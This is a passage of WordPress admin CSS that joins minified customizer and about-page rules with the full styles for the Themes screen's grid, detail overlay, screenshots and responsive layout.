1.33em;padding:0;font-size:16px;line-height:inherit;font-weight:600;text-align:right}.about-wrap .wp-people-group{padding:0 5px;margin:0 -5px 0 -15px}.about-wrap .compact{margin-bottom:0}.about-wrap .wp-person{display:inline-block;vertical-align:top;margin-left:10px;padding-bottom:15px;height:70px;width:280px}.about-wrap .compact .wp-person{height:auto;width:180px;padding-bottom:0;margin-bottom:0}.about-wrap .wp-person .gravatar{float:right;margin:0 0 10px 10px;padding:1px;width:60px;height:60px}.about-wrap .compact .wp-person .gravatar{width:30px;height:30px}.about-wrap .wp-person .web{margin:6px 0 2px;font-size:16px;font-weight:400;line-height:2;text-decoration:none}.about-wrap .wp-person .title{display:block}.about-wrap #wp-people-group-validators+p.wp-credits-list{margin-top:0}.about-wrap p.wp-credits-list a{white-space:nowrap}.freedoms-php .about-wrap ol{margin:40px 60px}.freedoms-php .about-wrap ol li{list-style-type:decimal;font-weight:600}.freedoms-php .about-wrap ol p{font-weight:400;margin:.6em 0}.freedoms-php .column .freedoms-image{background-image:url('../images/freedoms.png');background-size:100%;padding-top:100%}.freedoms-php .column:nth-of-type(2) .freedoms-image{background-position:100% 34%}.freedoms-php .column:nth-of-type(3) .freedoms-image{background-position:100% 66%}.freedoms-php .column:nth-of-type(4) .freedoms-image{background-position:100% 100%}@media screen and (max-width:782px){.about-wrap .has-3-columns,.about-wrap .has-4-columns{grid-template-columns:1fr 1fr}.about-wrap .has-3-columns .column:nth-of-type(3n+1),.about-wrap .has-4-columns .column:nth-of-type(4n+1){grid-column-start:1;grid-row-start:1}.about-wrap .has-3-columns .column:nth-of-type(3n+2),.about-wrap .has-4-columns .column:nth-of-type(4n+2){grid-column-start:2;grid-row-start:1}.about-wrap .has-3-columns .column:nth-of-type(3n),.about-wrap .has-4-columns .column:nth-of-type(4n+3){grid-column-start:1;grid-row-start:2}.about-wrap .has-4-columns .column:nth-of-type(4n){grid-column-start:2;grid-row-start:2}}@media screen and (max-width:600px){.about-wrap .has-2-columns,.about-wrap .has-3-columns,.about-wrap .has-4-columns{display:block}.about-wrap :not(.is-wider-right):not(.is-wider-left) .column{margin-left:0;margin-right:0}.about-wrap .has-2-columns.is-wider-left,.about-wrap .has-2-columns.is-wider-right{display:grid}}@media only screen and (max-width:500px){.about-wrap{margin-left:20px;margin-right:10px}.about-wrap .about-text,.about-wrap h1{margin-left:0}.about-wrap .about-text{margin-bottom:.25em}.about-wrap .wp-badge{position:relative;margin-bottom:1.5em;width:100%}}@media only screen and (max-width:480px){.about-wrap .has-2-columns.is-wider-left,.about-wrap .has-2-columns.is-wider-right{display:block}.about-wrap .column{margin-left:0;margin-right:0}.about-wrap .has-2-columns.is-wider-left img,.about-wrap .has-2-columns.is-wider-right img{max-width:160px}}/*! This file is auto-generated */
.wp-full-overlay-sidebar{overflow:visible}.control-section.control-section-sidebar,.customize-control-sidebar_widgets .hide-if-js,.customize-control-sidebar_widgets label{display:none}.control-section.control-section-sidebar .accordion-section-content.ui-sortable{overflow:visible}.customize-control-widget_form .widget-top{background:#fff;transition:opacity .5s}.customize-control .widget-action{color:#787c82}.customize-control .widget-action:focus,.customize-control .widget-top:hover .widget-action{color:#1d2327}.customize-control-widget_form:not(.widget-rendered) .widget-top{opacity:.5}.customize-control-widget_form .widget-control-save{display:none}.customize-control-widget_form .spinner{visibility:hidden;margin-top:0}.customize-control-widget_form.previewer-loading .spinner{visibility:visible}.customize-control-widget_form.widget-form-disabled .widget-content{opacity:.7;pointer-events:none;-webkit-user-select:none;user-select:none}.customize-control-widget_form .widget{margin-bottom:0}.customize-control-widget_form.wide-widget-control .widget-inside{position:fixed;left:299px;top:25%;border:1px solid #dcdcde;overflow:auto}.customize-control-widget_form.wide-widget-control .widget-inside>.form{padding:20px}.customize-control-widget_form.wide-widget-control .widget-top{transition:background-color .4s}.customize-control-widget_form.wide-widget-control.expanded:not(.collapsing) .widget-top,.customize-control-widget_form.wide-widget-control.expanding .widget-top{background-color:#dcdcde}.widget-inside{padding:1px 10px 10px;border-top:none;line-height:1.23076923}.customize-control-widget_form.expanded .widget-action .toggle-indicator:before{content:"\f142"}.customize-control-widget_form.wide-widget-control .widget-action .toggle-indicator:before{content:"\f139"}.customize-control-widget_form.wide-widget-control.expanded .widget-action .toggle-indicator:before{content:"\f141"}.widget-title-action{cursor:pointer}.customize-control-widget_form .widget .customize-control-title,.widget-top{cursor:move}.control-section.accordion-section.highlighted>.accordion-section-title,.customize-control-widget_form.highlighted{outline:0;box-shadow:0 0 2px rgba(79,148,212,.8);position:relative;z-index:1}#widget-customizer-control-templates{display:none}#customize-theme-controls .widget-reorder-nav{display:none;float:right;background-color:#f6f7f7}.move-widget:before{content:"\f504"}#customize-theme-controls .move-widget-area{display:none;background:#fff;border:1px solid #c3c4c7;border-top:none;cursor:auto}#customize-theme-controls .reordering .move-widget-area.active{display:block}#customize-theme-controls .move-widget-area .description{margin:0;padding:15px 20px;font-weight:400}#customize-theme-controls .widget-area-select{margin:0;padding:0;list-style:none}#customize-theme-controls .widget-area-select li{position:relative;margin:0;padding:13px 15px 15px 42px;color:#50575e;border-top:1px solid #c3c4c7;cursor:pointer;-webkit-user-select:none;user-select:none}#customize-theme-controls .widget-area-select li:before{display:none;content:"\f147";position:absolute;top:12px;left:10px;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#customize-theme-controls .widget-area-select li:last-child{border-bottom:1px solid #c3c4c7}#customize-theme-controls .widget-area-select .selected{color:#fff;background:#2271b1}#customize-theme-controls .widget-area-select .selected:before{display:block}#customize-theme-controls .move-widget-actions{text-align:right;padding:12px}#customize-theme-controls .reordering .widget-title-action{display:none}#customize-theme-controls .reordering .widget-reorder-nav{display:block}.wp-customizer div.mce-inline-toolbar-grp,.wp-customizer div.mce-tooltip{z-index:500100!important}.wp-customizer .ui-autocomplete.wplink-autocomplete{z-index:500110}.wp-customizer #wp-link-backdrop{z-index:500100}.wp-customizer #wp-link-wrap{z-index:500105}#widgets-left #available-widgets .widget{float:none!important;width:auto!important}#available-widgets .widget-action{display:none}.ios #available-widgets{transition:left 0s}#available-widgets .widget-tpl.selected,#available-widgets .widget-tpl:hover{background:#f6f7f7;border-bottom-color:#c3c4c7;color:#2271b1;border-left:4px solid #2271b1}#customize-controls .widget-title h3{font-size:1em}#available-widgets .widget-title h3{padding:0 0 5px;font-size:14px}#available-widgets .widget .widget-description{padding:0;color:#646970}#customize-preview{transition:all .2s}body.adding-widget #available-widgets{left:0;visibility:visible}body.adding-widget .wp-full-overlay-main{left:300px}body.adding-widget #customize-preview{opacity:.4}#available-widgets .widget-title{position:relative}#available-widgets .widget-title:before{content:"\f132";position:absolute;top:-3px;right:100%;margin-right:20px;width:20px;height:20px;color:#2c3338;font:normal 20px/1 dashicons;text-align:center;box-sizing:border-box;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#available-widgets [class*=easy] .widget-title:before{content:"\f328";top:-4px}#available-widgets [class*=like] .widget-title:before,#available-widgets [class*=super] .widget-title:before{content:"\f155";top:-4px}#available-widgets [class*=meta] .widget-title:before{content:"\f120"}#available-widgets [class*=archives] .widget-title:before{content:"\f480";top:-4px}#available-widgets [class*=categor] .widget-title:before{content:"\f318";top:-4px}#available-widgets [class*=chat] .widget-title:before,#available-widgets [class*=comment] .widget-title:before,#available-widgets [class*=testimonial] .widget-title:before{content:"\f101"}#available-widgets [class*=post] .widget-title:before{content:"\f109"}#available-widgets [class*=page] .widget-title:before{content:"\f105"}#available-widgets [class*=text] .widget-title:before{content:"\f478"}#available-widgets [class*=link] .widget-title:before{content:"\f103"}#available-widgets [class*=search] .widget-title:before{content:"\f179"}#available-widgets [class*=menu] .widget-title:before,#available-widgets [class*=nav] .widget-title:before{content:"\f333"}#available-widgets [class*=tag] .widget-title:before{content:"\f479"}#available-widgets [class*=rss] .widget-title:before{content:"\f303";top:-6px}#available-widgets [class*=calendar] .widget-title:before,#available-widgets [class*=event] .widget-title:before{content:"\f145";top:-4px}#available-widgets [class*=image] .widget-title:before,#available-widgets [class*=instagram] .widget-title:before,#available-widgets [class*=photo] .widget-title:before,#available-widgets [class*=slide] .widget-title:before{content:"\f128"}#available-widgets [class*=album] .widget-title:before,#available-widgets [class*=galler] .widget-title:before{content:"\f161"}#available-widgets [class*=tube] .widget-title:before,#available-widgets [class*=video] .widget-title:before{content:"\f126"}#available-widgets [class*=audio] .widget-title:before,#available-widgets [class*=music] .widget-title:before,#available-widgets [class*=radio] .widget-title:before{content:"\f127"}#available-widgets [class*=avatar] .widget-title:before,#available-widgets [class*=grofile] .widget-title:before,#available-widgets [class*=login] .widget-title:before,#available-widgets [class*=member] .widget-title:before,#available-widgets [class*=profile] .widget-title:before,#available-widgets [class*=subscriber] .widget-title:before,#available-widgets [class*=user] .widget-title:before{content:"\f110"}#available-widgets [class*=cart] .widget-title:before,#available-widgets [class*=commerce] .widget-title:before,#available-widgets [class*=shop] .widget-title:before{content:"\f174";top:-4px}#available-widgets [class*=firewall] .widget-title:before,#available-widgets [class*=secur] .widget-title:before{content:"\f332"}#available-widgets [class*=analytic] .widget-title:before,#available-widgets [class*=poll] .widget-title:before,#available-widgets [class*=stat] .widget-title:before{content:"\f185"}#available-widgets [class*=form] .widget-title:before{content:"\f175"}#available-widgets [class*=contact] .widget-title:before,#available-widgets [class*=mail] .widget-title:before,#available-widgets [class*=news] .widget-title:before,#available-widgets [class*=subscribe] .widget-title:before{content:"\f466"}#available-widgets [class*=share] .widget-title:before,#available-widgets [class*=socia] .widget-title:before{content:"\f237"}#available-widgets [class*=lang] .widget-title:before,#available-widgets [class*=translat] .widget-title:before{content:"\f326"}#available-widgets [class*=locat] .widget-title:before,#available-widgets [class*=map] .widget-title:before{content:"\f231"}#available-widgets [class*=download] .widget-title:before{content:"\f316"}#available-widgets [class*=weather] .widget-title:before{content:"\f176";top:-4px}#available-widgets [class*=facebook] .widget-title:before{content:"\f304"}#available-widgets [class*=tweet] .widget-title:before,#available-widgets [class*=twitter] .widget-title:before{content:"\f301"}@media screen and (max-height:700px) and (min-width:981px){.customize-control-widget_form{margin-bottom:0}.widget-top{box-shadow:none;margin-top:-1px}.widget-top:hover{position:relative;z-index:1}.last-widget{margin-bottom:15px}.widget-title h3{padding:13px 15px}.widget-top .widget-action{padding:8px 10px}.widget-reorder-nav span{height:39px}.widget-reorder-nav span:before{line-height:39px}#customize-theme-controls .widget-area-select li{padding:9px 15px 11px 42px}#customize-theme-controls .widget-area-select li:before{top:8px}}/*------------------------------------------------------------------------------
  16.0 - Themes
------------------------------------------------------------------------------*/


/*------------------------------------------------------------------------------
  16.1 - Manage Themes
------------------------------------------------------------------------------*/

.themes-php {
	overflow-y: scroll;
}

body.js .theme-browser.search-loading {
	display: none;
}

.theme-browser .themes {
	clear: both;
}

.themes-php:not(.network-admin) .wrap h1 {
	margin-bottom: 15px;
}

.themes-php .wrap h1 .button {
	margin-left: 20px;
}

/* Search form */
.themes-php .search-form {
	display: inline;
}

.themes-php .wp-filter-search {
	position: relative;
	top: -2px;
	left: 20px;
	margin: 0;
	width: 280px;
}

/* Position admin messages */
.theme .notice,
.theme .notice.is-dismissible {
	left: 0;
	margin: 0;
	position: absolute;
	right: 0;
	top: 0;
}

/**
 * Main theme element
 * (has flexible margins)
 */
.theme-browser .theme {
	cursor: pointer;
	float: left;
	margin: 0 4% 4% 0;
	position: relative;
	width: 30.6%;
	border: 1px solid #dcdcde;
	box-shadow: 0 1px 1px -1px rgba(0, 0, 0, 0.1);
	box-sizing: border-box;
}

.theme-browser .theme:nth-child(3n) {
	margin-right: 0;
}

.theme-browser .theme:hover,
.theme-browser .theme.focus {
	cursor: pointer;
}

.theme-browser .theme .theme-name {
	font-size: 15px;
	font-weight: 600;
	height: 18px;
	margin: 0;
	padding: 15px;
	box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.1);
	overflow: hidden;
	white-space: nowrap;
	text-overflow: ellipsis;
	background: #fff;
	background: rgba(255, 255, 255, 0.65);
}

/* Activate and Customize buttons, shown on hover and focus */
.theme-browser .theme .theme-actions {
	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
	opacity: 0;
	transition: opacity 0.1s ease-in-out;
	height: auto;
	background: rgba(246, 247, 247, 0.7);
	border-left: 1px solid rgba(0, 0, 0, 0.05);
}

.theme-browser .theme:hover .theme-actions,
.theme-browser .theme.focus .theme-actions {
	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";
	opacity: 1;
}

.theme-browser .theme .theme-actions .button-primary {
	margin-right: 3px;
}

.theme-browser .theme .theme-actions .button {
	float: none;
	margin-left: 3px;
}

/**
 * Theme Screenshot
 *
 * Has a fixed aspect ratio of 1.5 to 1 regardless of screenshot size
 * It is also responsive.
 */
.theme-browser .theme .theme-screenshot {
	display: block;
	overflow: hidden;
	position: relative;
	-webkit-backface-visibility: hidden; /* Prevents flicker of the screenshot on hover. */
	transition: opacity 0.2s ease-in-out;
}

.theme-browser .theme .theme-screenshot:after {
	content: "";
	display: block;
	padding-top: 66.66666%; /* using a 3/2 aspect ratio */
}

.theme-browser .theme .theme-screenshot img {
	height: auto;
	position: absolute;
	left: 0;
	top: 0;
	width: 100%;
	transition: opacity 0.2s ease-in-out;
}

.theme-browser .theme:hover .theme-screenshot,
.theme-browser .theme.focus .theme-screenshot {
	background: #fff;
}

.theme-browser.rendered .theme:hover .theme-screenshot img,
.theme-browser.rendered .theme.focus .theme-screenshot img {
	opacity: 0.4;
}

.theme-browser .theme .more-details {
	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
	opacity: 0;
	position: absolute;
	top: 35%;
	right: 20%;
	left: 20%;
	width: 60%;
	background: #1d2327;
	background: rgba(0, 0, 0, 0.7);
	color: #fff;
	font-size: 15px;
	text-shadow: 0 1px 0 rgba(0, 0, 0, 0.6);
	-webkit-font-smoothing: antialiased;
	font-weight: 600;
	padding: 15px 12px;
	text-align: center;
	border-radius: 3px;
	border: none;
	transition: opacity 0.1s ease-in-out;
	cursor: pointer;
}

.theme-browser .theme .more-details:focus {
	box-shadow: 0 0 0 2px #2271b1;
}

.theme-browser .theme.focus {
	border-color: #2271b1;
	box-shadow: 0 0 0 1px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.theme-browser .theme.focus .more-details {
	opacity: 1;
}

/* Current theme needs to have its action always on view */
.theme-browser .theme.active.focus .theme-actions {
	display: block;
}

.theme-browser.rendered .theme:hover .more-details,
.theme-browser.rendered .theme.focus .more-details {
	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";
	opacity: 1;
}

/**
 * The currently active theme
 */
.theme-browser .theme.active .theme-name {
	background: #1d2327;
	color: #fff;
	padding-right: 110px;
	font-weight: 300;
	box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.5);
}

.theme-browser .customize-control .theme.active .theme-name {
	padding-right: 15px;
}

.theme-browser .theme.active .theme-name span {
	font-weight: 600;
}

.theme-browser .theme.active .theme-actions {
	background: rgba(44, 51, 56, 0.7);
	border-left: none;
	opacity: 1;
}

.theme-id-container {
	position: relative;
}

.theme-browser .theme.active .theme-actions,
.theme-browser .theme .theme-actions {
	position: absolute;
	top: 50%;
	transform: translateY(-50%);
	right: 0;
	padding: 9px 15px;
	box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.1);
}

.theme-browser .theme.active .theme-actions .button-primary {
	margin-right: 0;
}

.theme-browser .theme .theme-author {
	background: #1d2327;
	color: #f0f0f1;
	display: none;
	font-size: 14px;
	margin: 0 10px;
	padding: 5px 10px;
	position: absolute;
	bottom: 56px;
}

.theme-browser .theme.display-author .theme-author {
	display: block;
}

.theme-browser .theme.display-author .theme-author a {
	color: inherit;
}

/**
 * Add new theme
 */
.theme-browser .theme.add-new-theme {
	border: none;
	box-shadow: none;
}

.theme-browser .theme.add-new-theme a {
	text-decoration: none;
	display: block;
	position: relative;
	z-index: 1;
}

.theme-browser .theme.add-new-theme a:after {
	display: block;
	content: "";
	background: transparent;
	background: rgba(0, 0, 0, 0);
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	padding: 0;
	text-shadow: none;
	border: 5px dashed #dcdcde;
	border: 5px dashed rgba(0, 0, 0, 0.1);
	box-sizing: border-box;
}

.theme-browser .theme.add-new-theme span:after {
	background: #dcdcde;
	background: rgba(140, 143, 148, 0.1);
	border-radius: 50%;
	display: inline-block;
	content: "\f132";
	-webkit-font-smoothing: antialiased;
	font: normal 74px/115px dashicons;
	width: 100px;
	height: 100px;
	vertical-align: middle;
	text-align: center;
	color: #8c8f94;
	position: absolute;
	top: 30%;
	left: 50%;
	margin-left: -50px;
	text-indent: -4px;
	padding: 0;
	text-shadow: none;
	z-index: 4;
}

.rtl .theme-browser .theme.add-new-theme span:after {
	text-indent: 4px;
}

.theme-browser .theme.add-new-theme a:hover .theme-screenshot,
.theme-browser .theme.add-new-theme a:focus .theme-screenshot {
	background: none;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
	background: #fff;
	color: #2271b1;
}

.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
	border-color: transparent;
	color: #fff;
	background: #2271b1;
	content: "";
}

.theme-browser .theme.add-new-theme .theme-name {
	background: none;
	text-align: center;
	box-shadow: none;
	font-weight: 400;
	position: relative;
	top: 0;
	margin-top: -18px;
	padding-top: 0;
	padding-bottom: 48px;
}

.theme-browser .theme.add-new-theme a:hover .theme-name,
.theme-browser .theme.add-new-theme a:focus .theme-name {
	color: #fff;
	z-index: 2;
}

/**
 * Theme Overlay
 * Shown when clicking a theme
 */
.theme-overlay .theme-backdrop {
	position: absolute;
	left: -20px;
	right: 0;
	top: 0;
	bottom: 0;
	background: #f0f0f1;
	background: rgba(240, 240, 241, 0.9);
	z-index: 10000; /* Over WP Pointers. */
}

.theme-overlay .theme-header {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	height: 48px;
	border-bottom: 1px solid #dcdcde;
}

.theme-overlay .theme-header button {
	padding: 0;
}

.theme-overlay .theme-header .close {
	cursor: pointer;
	height: 48px;
	width: 50px;
	text-align: center;
	float: right;
	border: 0;
	border-left: 1px solid #dcdcde;
	background-color: transparent;
	transition: color .1s ease-in-out, background .1s ease-in-out;
}

.theme-overlay .theme-header .close:before {
	font: normal 22px/50px dashicons !important;
	color: #787c82;
	display: inline-block;
	content: "\f335";
	font-weight: 300;
}

/* Left and right navigation */
.theme-overlay .theme-header .right,
.theme-overlay .theme-header .left {
	cursor: pointer;
	color: #787c82;
	background-color: transparent;
	height: 48px;
	width: 54px;
	float: left;
	text-align: center;
	border: 0;
	border-right: 1px solid #dcdcde;
	transition: color .1s ease-in-out, background .1s ease-in-out;
}

.theme-overlay .theme-header .close:focus,
.theme-overlay .theme-header .close:hover,
.theme-overlay .theme-header .right:focus,
.theme-overlay .theme-header .right:hover,
.theme-overlay .theme-header .left:focus,
.theme-overlay .theme-header .left:hover {
	background: #dcdcde;
	border-color: #c3c4c7;
	color: #000;
}

.theme-overlay .theme-header .close:focus:before,
.theme-overlay .theme-header .close:hover:before {
	color: #000;
}

.theme-overlay .theme-header .close:focus,
.theme-overlay .theme-header .right:focus,
.theme-overlay .theme-header .left:focus {
	box-shadow: none;
	outline: none;
}

.theme-overlay .theme-header .left.disabled,
.theme-overlay .theme-header .right.disabled,
.theme-overlay .theme-header .left.disabled:hover,
.theme-overlay .theme-header .right.disabled:hover {
	color: #c3c4c7;
	background: inherit;
	cursor: inherit;
}

.theme-overlay .theme-header .right:before,
.theme-overlay .theme-header .left:before {
	font: normal 20px/50px dashicons !important;
	display: inline;
	font-weight: 300;
}

.theme-overlay .theme-header .left:before {
	content: "\f341";
}

.theme-overlay .theme-header .right:before {
	content: "\f345";
}

.theme-overlay .theme-wrap {
	clear: both;
	position: fixed;
	top: 9%;
	left: 190px;
	right: 30px;
	bottom: 3%;
	background: #fff;
	box-shadow: 0 1px 20px 5px rgba(0, 0, 0, 0.1);
	z-index: 10000; /* Over WP Pointers. */
	box-sizing: border-box;
	-webkit-overflow-scrolling: touch;
}

body.folded .theme-browser ~ .theme-overlay .theme-wrap {
	left: 70px;
}

.theme-overlay .theme-about {
	position: absolute;
	top: 49px;
	bottom: 57px;
	left: 0;
	right: 0;
	overflow: auto;
	padding: 2% 4%;
}

.theme-overlay .theme-actions {
	position: absolute;
	text-align: center;
	bottom: 0;
	left: 0;
	right: 0;
	padding: 10px 25px 5px;
	background: #f6f7f7;
	z-index: 30;
	box-sizing: border-box;
	border-top: 1px solid #f0f0f1;
	display: flex;
	justify-content: center;
	gap: 5px;
}

.theme-overlay .theme-actions .button {
	margin-bottom: 5px;
}

/* Hide-if-customize for items we can't add classes to */
.customize-support .theme-overlay .theme-actions a[href="themes.php?page=custom-header"],
.customize-support .theme-overlay .theme-actions a[href="themes.php?page=custom-background"] {
	display: none;
}

.broken-themes a.delete-theme,
.theme-overlay .theme-actions .delete-theme {
	color: #b32d2e;
	text-decoration: none;
	border-color: transparent;
	box-shadow: none;
	background: transparent;
}

.broken-themes a.delete-theme:hover,
.broken-themes a.delete-theme:focus,
.theme-overlay .theme-actions .delete-theme:hover,
.theme-overlay .theme-actions .delete-theme:focus {
	background: #b32d2e;
	color: #fff;
	border-color: #b32d2e;
	box-shadow: 0 0 0 1px #b32d2e;
}

.theme-overlay .theme-actions .active-theme,
.theme-overlay.active .theme-actions .inactive-theme {
	display: none;
}

.theme-overlay .theme-actions .inactive-theme,
.theme-overlay.active .theme-actions .active-theme {
	display: block;
}

/**
 * Theme Screenshots gallery
 */
.theme-overlay .theme-screenshots {
	float: left;
	margin: 0 30px 0 0;
	width: 55%;
	max-width: 1200px; /* Recommended theme screenshot width, set here to avoid stretching */
	text-align: center;
}

/* First screenshot, shown big */
.theme-overlay .screenshot {
	border: 1px solid #fff;
	box-sizing: border-box;
	overflow: hidden;
	position: relative;
	box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.2);
}

.theme-overlay .screenshot:after {
	content: "";
	display: block;
	padding-top: 75%; /* using a 4/3 aspect ratio */
}

.theme-overlay .screenshot img {
	height: auto;
	position: absolute;
	left: 0;
	top: 0;
	width: 100%;
}
/* Handles old 300px screenshots */
.theme-overlay.small-screenshot .theme-screenshots {
	position: absolute;
	width: 302px;
}
.theme-overlay.small-screenshot .theme-info {
	margin-left: 350px;
	width: auto;
}

/* Other screenshots, shown small and square */
.theme-overlay .screenshot.thumb {
	background: #c3c4c7;
	border: 1px solid #f0f0f1;
	float: none;
	display: inline-block;
	margin: 10px 5px 0;
	width: 140px;
	height: 80px;
	cursor: pointer;
}

.theme-overlay .screenshot.thumb:after {
	content: "";
	display: block;
	padding-top: 100%; /* using a 1/1 aspect ratio */
}

.theme-overlay .screenshot.thumb img {
	cursor: pointer;
	height: auto;
	position: absolute;
	left: 0;
	top: 0;
	width: 100%;
	height: auto;
}

.theme-overlay .screenshot.selected {
	background: transparent;
	border: 2px solid #72aee6;
}

.theme-overlay .screenshot.selected img {
	opacity: 0.8;
}

/* No screenshot placeholder */
.theme-browser .theme .theme-screenshot.blank,
.theme-overlay .screenshot.blank {
	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAALElEQVQYGWO8d+/efwYkoKioiMRjYGBC4WHhUK6A8T8QIJt8//59ZC493AAAQssKpBK4F5AAAAAASUVORK5CYII=);
}

/**
 * Theme heading information
 */
.theme-overlay .theme-info {
	width: 40%;
	float: left;
}

.theme-overlay .current-label {
	background: #2c3338;
	color: #fff;
	font-size: 11px;
	display: inline-block;
	padding: 2px 8px;
	border-radius: 2px;
	margin: 0 0 -10px;
	-webkit-user-select: none;
	user-select: none;
}

.theme-overlay .theme-name {
	color: #1d2327;
	font-size: 32px;
	font-weight: 100;
	margin: 10px 0 0;
	line-height: 1.3;
	word-wrap: break-word;
	overflow-wrap: break-word;
}

.theme-overlay .theme-version {
	color: #646970;
	font-size: 13px;
	font-weight: 400;
	float: none;
	display: inline-block;
	margin-left: 10px;
}

.theme-overlay .theme-author {
	margin: 15px 0 25px;
	color: #646970;
	font-size: 16px;
	font-weight: 400;
	line-height: inherit;
}

.theme-overlay .toggle-auto-update {
	/* Better align spin icon and text. */
	display: inline-flex;
	align-items: center;
	/* Prevents content after the auto-update toggler from jumping down and up. */
	min-height: 20px; /* Same height as the spinning dashicon. */
	vertical-align: top;
}

.theme-overlay .theme-autoupdate .toggle-auto-update {
	text-decoration: none;
}

.theme-overlay .theme-autoupdate .toggle-auto-update .label {
	text-decoration: underline;
}

.theme-overlay .theme-description {
	color: #50575e;
	font-size: 15px;
	font-weight: 400;
	line-height: 1.5;
	margin: 30px 0 0;
}

.theme-overlay .theme-tags {
	border-top: 3px solid #f0f0f1;
	color: #646970;
	font-size: 13px;
	font-weight: 400;
	margin: 30px 0 0;
	padding-top: 20px;
}

.theme-overlay .theme-tags span {
	color: #3c434a;
	font-weight: 600;
	margin-right: 5px;
}

.theme-overlay .parent-theme {
	background: #fff;
	border: 1px solid #f0f0f1;
	border-left: 4px solid #72aee6;
	font-size: 14px;
	font-weight: 400;
	margin-top: 30px;
	padding: 10px 10px 10px 20px;
}

.theme-overlay .parent-theme strong {
	font-weight: 600;
}

/**
 * Single Theme Mode
 * Displays detailed view inline when a user has no switch capabilities
 */
.single-theme .theme-overlay .theme-backdrop,
.single-theme .theme-overlay .theme-header,
.single-theme .theme {
	display: none;
}

.single-theme .theme-overlay .theme-wrap {
	clear: both;
	min-height: 330px;
	position: relative;
	left: auto;
	right: auto;
	top: auto;
	bottom: auto;
	z-index: 10;
}

.single-theme .theme-overlay .theme-about {
	padding: 30px 30px 70px;
	position: static;
}

.single-theme .theme-overlay .theme-actions {
	position: absolute;
}

/**
 * Basic Responsive structure...
 *
 * Shuffles theme columns around based on screen width
 */

@media only screen and (min-width: 2000px) {
	#wpwrap .theme-browser .theme {
		width: 17.6%;
		margin: 0 3% 3% 0;
	}

	#wpwrap .theme-browser .theme:nth-child(3n),
	#wpwrap .theme-browser .theme:nth-child(4n) {
		margin-right: 3%;
	}

	#wpwrap .theme-browser .theme:nth-child(5n) {
		margin-right: 0;
	}
}

@media only screen and (min-width: 1680px) {
	.theme-overlay .theme-wrap {
		width: 1450px;
		margin: 0 auto;
	}
}

/* Maximum screenshot width reaches 440px */
@media only screen and (min-width: 1640px) {
	.theme-browser .theme {
		width: 22.7%;
		margin: 0 3% 3% 0;
	}
	.theme-browser .theme .theme-screenshot:after {
		padding-top: 75%; /* using a 4/3 aspect ratio */
	}

	.theme-browser .theme:nth-child(3n) {
		margin-right: 3%;
	}

	.theme-browser .theme:nth-child(4n) {
		margin-right: 0;
	}
}
/* Maximum screenshot width reaches 440px */
@media only screen and (max-width: 1120px) {
	.theme-browser .theme {
		width: 47.5%;
		margin-right: 0;
	}

	.theme-browser .theme:nth-child(even) {
		margin-right: 0;
	}

	.theme-browser .theme:nth-child(odd) {
		margin-right: 5%;
	}
}

/* Admin menu is folded */
@media only screen and (max-width: 960px) {
	.theme-overlay .theme-wrap {
		left: 65px;
	}
}

@media only screen and (max-width: 782px) {
	body.folded .theme-overlay .theme-wrap,
	.theme-overlay .theme-wrap {
		top: 0; /* The adminmenu isn't fixed on mobile, so this can use the full viewport height */
		right: 0;
		bottom: 0;
		left: 0;
		padding: 70px 20px 20px;
		border: none;
		z-index: 100000; /* should overlap #wpadminbar. */
		position: fixed;
	}

	.theme-browser .theme.active .theme-name span {
		/* Hide the "Active: " label on smaller screens. */
		display: none;
	}

	.theme-overlay .theme-screenshots {
		width: 40%;
	}

	.theme-overlay .theme-info {
		width: 50%;
	}
	.single-theme .theme-wrap {
		padding: 10px;
	}

	.theme-browser .theme .theme-actions {
		padding: 5px 10px 4px;
	}

	.theme-overlay.small-screenshot .theme-screenshots {
		position: static;
		float: none;
		max-width: 302px;
	}

	.theme-overlay.small-screenshot .theme-info {
		margin-left: 0;
		width: auto;
	}

	.theme:not(.active):hover .theme-actions,
	.theme:not(.active):focus .theme-actions,
	.theme:hover .more-details,
	.theme.focus .more-details {
		display: none;
	}

	.theme-browser.rendered .theme:hover .theme-screenshot img,
	.theme-browser.rendered .theme.focus .theme-screenshot img {
		opacity: 1.0;
	}
}

@media only screen and (max-width: 480px) {
	.theme-browser .theme {
		width: 100%;
		margin-right: 0;
	}

	.theme-browser .theme:nth-child(2n),
	.theme-browser .theme:nth-child(3n) {
		margin-right: 0;
	}

	.theme-overlay .theme-about {
		bottom: 105px;
	}

	.theme-overlay .theme-actions {
		padding-left: 4%;
		padding-right: 4%;
	}
}

@media only screen and (max-width: 650px) {
	.theme-overlay .theme-description {
		margin-left: 0;
	}

	.theme-overlay .theme-actions .delete-theme {
		position: relative;
		right: auto;
		bottom: auto;
	}

	.theme-overlay .theme-actions .inactive-theme {
		display: inline;
	}

	.theme-overlay .theme-screenshots {
		width: 100%;
		float: none;
	}

	.theme-overlay .theme-info {
		width: 100%;
	}

	.theme-overlay .theme-author {
		margin: 5px 0 15px;
	}

	.theme-overlay .current-label {
		margin-top: 10px;
		font-size: 13px;
	}

	.themes-php .wp-filter-search {
		float: none;
		clear: both;
		left: 0;
		right: 0;
		margin: -5px 0 20px;
		width: 100%;
		max-width: 280px;
	}

	.theme-browser .theme.add-new-theme span:after {
		font: normal 60px/90px dashicons;
		width: 80px;
		height: 80px;
		top: 30%;
		left: 50%;
		text-indent: 0;
		margin-left: -40px;
	}

	.single-theme .theme-wrap {
		margin: 0 -12px 0 -10px;
		padding: 10px;
	}
